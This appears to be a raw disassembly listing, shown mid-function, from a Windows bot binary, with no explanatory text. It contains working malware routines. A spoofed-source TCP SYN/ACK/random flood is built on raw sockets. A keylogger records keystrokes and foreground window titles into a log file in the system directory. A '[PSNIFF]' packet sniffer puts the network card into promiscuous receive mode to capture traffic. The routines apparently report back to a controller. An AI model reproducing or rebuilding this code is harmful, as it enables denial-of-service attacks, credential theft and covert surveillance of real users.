arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409F7A
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41587F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41587F
		mov	edi, eax
		call	sub_415372
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CB
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC5
		inc	eax


loc_401BC5:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD4	proc near		; DATA XREF: sub_40CD3A+2B63o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_42104C
		call	edi	; GetTickCount
		push	eax
		call	sub_415368
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43CAA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9D
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423450
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401C7D:				; CODE XREF: sub_401BD4+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401C9D:				; CODE XREF: sub_401BD4+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43CA04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1B
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423400
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFB
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401CFB:				; CODE XREF: sub_401BD4+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D1B:				; CODE XREF: sub_401BD4+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43CA64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8B
		lea	eax, [ebp+var_440]
		push	offset dword_4233CC
		push	eax
		call	sub_415316
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_401D6B:				; CODE XREF: sub_401BD4+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D8B:				; CODE XREF: sub_401BD4+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43CA24	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_401FF3
; ---------------------------------------------------------------------------


loc_401DC8:				; CODE XREF: sub_401BD4+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43CA24	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E21
		call	sub_415372
		mov	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		shl	esi, 8
		call	sub_415372
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_401E37
; ---------------------------------------------------------------------------


loc_401E21:				; CODE XREF: sub_401BD4+21Ej
		push	[ebp+var_240]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_20], eax


loc_401E37:				; CODE XREF: sub_401BD4+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E55
		call	sub_415372
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E5B
; ---------------------------------------------------------------------------


loc_401E55:				; CODE XREF: sub_401BD4+26Fj
		push	[ebp+var_B8]


loc_401E5B:				; CODE XREF: sub_401BD4+27Fj
		call	dword_43CA24	; ntohs
		mov	[ebp+var_16], ax
		call	sub_415372
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43CA24	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43CA20	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EAB
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F07
; ---------------------------------------------------------------------------


loc_401EAB:				; CODE XREF: sub_401BD4+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401ECB
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F07
; ---------------------------------------------------------------------------


loc_401ECB:				; CODE XREF: sub_401BD4+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F07
		call	sub_415372
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415372
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F07:				; CODE XREF: sub_401BD4+2D5j
					; sub_401BD4+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43CA24	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43CA24	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A0E3
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4153F0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43CA88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_40209E
		inc	[ebp+arg_0]


loc_401FF3:				; CODE XREF: sub_401BD4+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_401DC8
		push	[ebp+var_4]
		call	dword_43CABC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423358
		push	eax
		call	sub_415316
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40207E
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_40207E:				; CODE XREF: sub_401BD4+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_40209E:				; CODE XREF: sub_401BD4+416j
		push	[ebp+var_4]
		call	dword_43CABC	; closesocket
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_4232F0
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FC
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412BD1
		add	esp, 14h


loc_4020FC:				; CODE XREF: sub_401BD4+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_401BD4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211C	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+247p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp


loc_40211F:				; DATA XREF: .text:off_42F640o
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_423C48 ; "\\"
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_114]
		push	offset dword_42C2C4
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415A08
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		inc	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: sub_40211C+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_4159B6
		push	esi
		call	sub_415960
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_423C04
		push	200h
		push	eax
		call	sub_41588A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h


loc_4021F6:				; CODE XREF: sub_40211C+A1j
		xor	eax, eax


loc_4021F8:				; CODE XREF: sub_40211C+63j
		pop	esi
		leave
		retn
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: sub_40CD3A+1D95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43C9AC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43C9C0	; GetWindowTextA
		mov	ebx, 200h


loc_402256:				; CODE XREF: sub_4021FB+2BBj
		push	8
		call	dword_421060	; Sleep
		call	dword_43C9AC	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43C9C0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_415316
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211C
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_4022E5:				; CODE XREF: sub_4021FB+2B1j
		push	10h
		call	dword_43C904	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43C9F0	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_40237C
		push	14h
		call	dword_43C904	; GetKeyState
		test	ax, ax
		jz	short loc_40232D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232D
		cmp	edi, 40h
		jle	short loc_40232D
		cmp	edi, 5Bh
		jge	short loc_40232D
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4021FB+111j
					; sub_4021FB+116j ...
		push	14h
		call	dword_43C904	; GetKeyState
		test	ax, ax
		jz	short loc_402358
		test	esi, esi
		jge	short loc_40236C
		cmp	edi, 40h
		jle	short loc_402358
		cmp	edi, 5Bh
		jge	short loc_402358
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_402358:				; CODE XREF: sub_4021FB+13Dj
					; sub_4021FB+146j ...
		test	esi, esi
		jge	short loc_40236C
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40236C:				; CODE XREF: sub_4021FB+141j
					; sub_4021FB+15Fj
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: sub_4021FB+104j
		lea	eax, [ebp+edi*4+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4024A1
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415B10
		cmp	edi, 8
		pop	ecx
		jnz	short loc_4023AF
		and	[ebp+eax+var_2DD], 0
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_4023AF:				; CODE XREF: sub_4021FB+1A5j
		cmp	eax, 1B9h
		jbe	short loc_4023DB
		call	dword_43C9AC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43C9C0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_40241C
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_4021FB+1B9j
		cmp	edi, 0Dh
		jnz	loc_402473
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jz	loc_4024A1
		call	dword_43C9AC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43C9C0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_40241C:				; CODE XREF: sub_4021FB+1DEj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_415316
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211C
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		jmp	short loc_4024A1
; ---------------------------------------------------------------------------


loc_402473:				; CODE XREF: sub_4021FB+1E3j
		cmp	esi, 1
		jz	short loc_40248C
		cmp	esi, 3
		jz	short loc_40248C
		cmp	esi, 2
		jz	short loc_402487
		cmp	esi, 4
		jnz	short loc_4024A1


loc_402487:				; CODE XREF: sub_4021FB+285j
		push	[ebp+arg_0]
		jmp	short loc_402493
; ---------------------------------------------------------------------------


loc_40248C:				; CODE XREF: sub_4021FB+27Bj
					; sub_4021FB+280j
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_402493:				; CODE XREF: sub_4021FB+28Fj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415A30
		pop	ecx
		pop	ecx


loc_4024A1:				; CODE XREF: sub_4021FB+12Dj
					; sub_4021FB+158j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_423BCC
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4021FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024D0	proc near		; DATA XREF: sub_40CD3A+1BE7o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415B90
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43CA24	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43CA64	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43CAA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4025A5
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424650
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402588
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402588:				; CODE XREF: sub_4024D0+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4025A5:				; CODE XREF: sub_4024D0+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_441BA4[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43CA50	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40262A
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424608
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402606
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402606:				; CODE XREF: sub_4024D0+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40262A:				; CODE XREF: sub_4024D0+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43C9D0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026AD
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4245B8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402689
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402689:				; CODE XREF: sub_4024D0+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43CABC	; closesocket
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4026AD:				; CODE XREF: sub_4024D0+177j
		push	ebx
		mov	ebx, offset dword_423CA8


loc_4026B3:				; CODE XREF: sub_4024D0+21Cj
					; sub_4024D0+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_43CA3C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027C5
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4026B3
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4026B3
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026B3
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx


loc_40271E:				; CODE XREF: sub_4024D0+269j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402743
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40271E


loc_40273B:				; CODE XREF: sub_4024D0+2F0j
		mov	edi, [ebp+var_4]
		jmp	loc_4026B3
; ---------------------------------------------------------------------------


loc_402743:				; CODE XREF: sub_4024D0+25Fj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43C960	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43CAB0	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_423CBC[eax*8]
		push	off_423C98[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424560
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027B3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_4027B3:				; CODE XREF: sub_4024D0+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	loc_40273B
; ---------------------------------------------------------------------------


loc_4027C5:				; CODE XREF: sub_4024D0+20Fj
		call	dword_43C9B8	; WSAGetLastError
		push	eax
		push	offset unk_424518
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_40280B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


